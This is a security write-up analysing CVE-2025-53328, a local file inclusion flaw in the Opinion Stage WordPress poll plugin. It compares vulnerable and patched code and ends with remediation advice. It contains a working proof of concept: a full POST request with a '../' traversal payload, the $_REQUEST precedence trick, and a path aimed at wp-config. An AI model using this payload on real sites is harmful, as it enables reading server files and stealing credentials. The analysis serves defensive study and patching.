Contents

CVE-2025-53328 Analysis & POC

The Poll, Survey & Quiz Maker Plugin by Opinion Stage version ≤ 19.11.0 contains a Local File Inclusion (CVE-2025-53328, CVSS 7.5) vulnerability that allows an unauthenticated attacker to control the file parameter in an include/require call, enabling inclusion or reading of local files on the server (e.g., configuration files containing credentials), leading to disclosure of sensitive information and, in some configurations, potential code execution.

Important

Although the vulnerability is published as Unauthenticated, in many deployments exploitation practically requires minimal internal privileges — for example a Contributor account or equivalent in WordPress.

  • Local WordPress & Debugging: Local WordPress and Debugging.
  • Plugin versions - Poll, Survey & Quiz Maker Plugin by Opinion Stage: 19.11.0 (vulnerable) and 19.11.1 (patched).
  • Diff tool - Meld or any diff tool to compare differences between versions.

Vulnerable version:

private static function prepare_view_file_name_form_current_page() {
    $view_file_name = '';

    if ( !empty( $_REQUEST['page'] ) ) {
        $qry_str_check_os = sanitize_text_field( $_REQUEST['page'] );
        $qry_str_check_os = explode( '-', $qry_str_check_os );
        if ( 'opinionstage' === $qry_str_check_os[0] ) {
            $view_file_name = str_replace( 'opinionstage-', '', sanitize_text_field( $_REQUEST['page'] ) );
            $view_file_name = str_replace( '-', '_', $view_file_name );
        }
    }

    return $view_file_name;
}

In the vulnerable version, the page parameter is taken from $_REQUEST and controlled by the user but the file name is not properly validated → allowing Local File Inclusion. The function only uses sanitize_text_field and checks the opinionstage- prefix, then removes the prefix and replaces - with _, so an attacker can supply:

?page=opinionstage-../../wp-config

Patched version:

private static function prepare_view_file_name_from_current_page() {

    if (empty($_REQUEST['page']) || !is_string($_REQUEST['page'])) {
        return '';
    }

    $page = sanitize_text_field($_REQUEST['page']);

    if (substr($page, 0, strlen('opinionstage-')) !== 'opinionstage-') {
        return '';
    }

    $template_name = substr($page, strlen('opinionstage-'));
    $template_name = str_replace('-', '_', $template_name);

    if (!in_array($template_name, self::$allowed_templates, true)) {
        return '';
    }

    if (strpos($template_name, '..') !== false ||
        strpos($template_name, '/') !== false ||
        strpos($template_name, '\\') !== false) {
        return '';
    }

    return $template_name;
}

The patch adds multiple protections: type checking, prefix verification ("opinionstage-"), a whitelist (self::$allowed_templates), and blocking traversal characters.

The function prepare_view_file_name_form_current_page() is called from load_template():

public static function load_template() {
    $view_file_name = self::prepare_view_file_name_form_current_page();
    if ( !$view_file_name ) {
        return;
    }

    $os_client_logged_in = Helper::is_user_logged_in();
    $os_options = Helper::get_opinionstage_option();

    TemplatesViewer::require_template( 'admin/views/' . $view_file_name, compact( 'os_client_logged_in', 'os_options' ) );
}

require_template() is invoked with 'admin/views/'.$view_file_name:

public static function require_template($template_name, $args = []) {
    $path = Opinionstage::get_instance()->plugin_path . $template_name . '.php';

    if( ! file_exists( $path ) ) {
        return;
    }

    extract($args);
    require( $path );
}

The require() call that causes LFI uses $path concatenated from the plugin path (plugin_path), $template_name, and .php:

public function register_menu_page() {
    if ( function_exists( 'add_menu_page' ) ) {
        $os_client_logged_in = Helper::is_user_logged_in();
        if ( $os_client_logged_in ) {
            add_menu_page(
                __( 'Opinion Stage', 'social-polls-by-opinionstage' ),
                __( 'Opinion Stage', 'social-polls-by-opinionstage' ),
                'edit_posts',
                OPINIONSTAGE_MENU_SLUG,
                [ __CLASS__, 'load_template' ],
                Opinionstage::get_instance()->plugin_url . 'admin/images/os-icon.svg',
                '25.234323221'
            );
            add_submenu_page( OPINIONSTAGE_MENU_SLUG, 'View My Items', 'My Items', 'edit_posts', OPINIONSTAGE_MENU_SLUG );
            add_submenu_page( OPINIONSTAGE_MENU_SLUG, 'Tutorials & Help', 'Tutorials & Help', 'edit_posts', OPINIONSTAGE_HELP_RESOURCE_SLUG, [ $this, 'load_template' ] );
        } else {
            add_menu_page(
                __( 'Opinion Stage', 'social-polls-by-opinionstage' ),
                __( 'Opinion Stage', 'social-polls-by-opinionstage' ),
                'edit_posts',
                OPINIONSTAGE_GETTING_STARTED_SLUG,
                [ __CLASS__, 'load_template' ],
                Opinionstage::get_instance()->plugin_url . 'admin/images/os-icon.svg',
                '25.234323221'
            );
            add_submenu_page( OPINIONSTAGE_GETTING_STARTED_SLUG, 'Get Started', 'Get Started', 'edit_posts', OPINIONSTAGE_GETTING_STARTED_SLUG, [ $this, 'load_template' ] );
        }
    }
}

register_menu_page() registers two submenus with load_template as the callback, depending on the user’s login state.

To access the admin submenu, the user must be logged into WordPress with at least Contributor privileges → therefore, the required privilege for this CVE is Contributor.

Two slugs are declared for the submenus:

const string OPINIONSTAGE_MENU_SLUG = "opinionstage-settings"
const string OPINIONSTAGE_GETTING_STARTED_SLUG = "opinionstage-getting-started"
  1. Login with a Contributor account
  2. Send a POST request:
POST /wp-admin/admin.php?page=opinionstage-getting-started HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: vi,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: http://localhost/wp-admin/
Connection: keep-alive
Cookie: wordpress_86a9106ae65537651a8e456835b316ab=con%7C1760451626%7CeIWnBlZSv8mq15W1MfZbUd1WqiPvrNbuhzcGwDNgRtf%7C95a2ae30f463a8c1d010a70313f3f305e2c6e99b18056b7827132b809329c400; wp-settings-time-3=1760279584; intercom-id-y45xtsgw=f5cf9200-6f02-4b61-bb0a-94ef864e710e; intercom-session-y45xtsgw=; intercom-device-id-y45xtsgw=40def9f9-8e76-4d64-9bbc-28c12b70544f; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_86a9106ae65537651a8e456835b316ab=con%7C1760451626%7CeIWnBlZSv8mq15W1MfZbUd1WqiPvrNbuhzcGwDNgRtf%7C2f86a0974e1c1d7b5ef8322a588e50ef5879561d1fc2f84b7c6eddf5c98ffcce
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
X-PwnFox-Color: green
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

page=opinionstage-../payload

Debugging:

Debug - Value of $view_file_name

Debug - Value of $view_file_name

Debug - Value of the $path being required

Debug - Value of the $path being required

A payload.php file was created for testing:

<?php
echo "ABC";

Result

Result of successful LFI

Result of successful LFI

We leverage how WordPress and the plugin handle parameters: WordPress determines the admin page based on the page in the URL, but the plugin reads page from $_REQUEST — and $_REQUEST will prioritize values from the request body when the request is a POST. Therefore we send a POST to admin.php?page=opinionstage-getting-started (a valid URL page to trigger the callback) while placing page=opinionstage-../payload in the POST body. As a result, WordPress accepts the URL and calls the callback, while the plugin reads page from $_REQUEST (the body) containing the ../ payload — allowing directory traversal and exploiting the LFI.

CVE-2025-53328 is an LFI caused by using the page input without proper validation to build the file path for require() — the opinionstage- prefix is accepted but the remainder can contain .. / \ to escape the views directory. The patch (v19.11.1) adds type checks, traversal blocking, and a template whitelist.

  • Do not use user input directly to build paths for include/require.
  • Apply a whitelist (or mapping) for template names.
  • Block .., /, \ or use realpath() and compare with the base directory.
  • Update the plugin to 19.11.1 immediately.

File Inclusion/Path traversal — Hacktrick

WordPress Poll, Survey & Quiz Maker Plugin by Opinion Stage Plugin <= 19.11.0 is vulnerable to Local File Inclusion

Related Content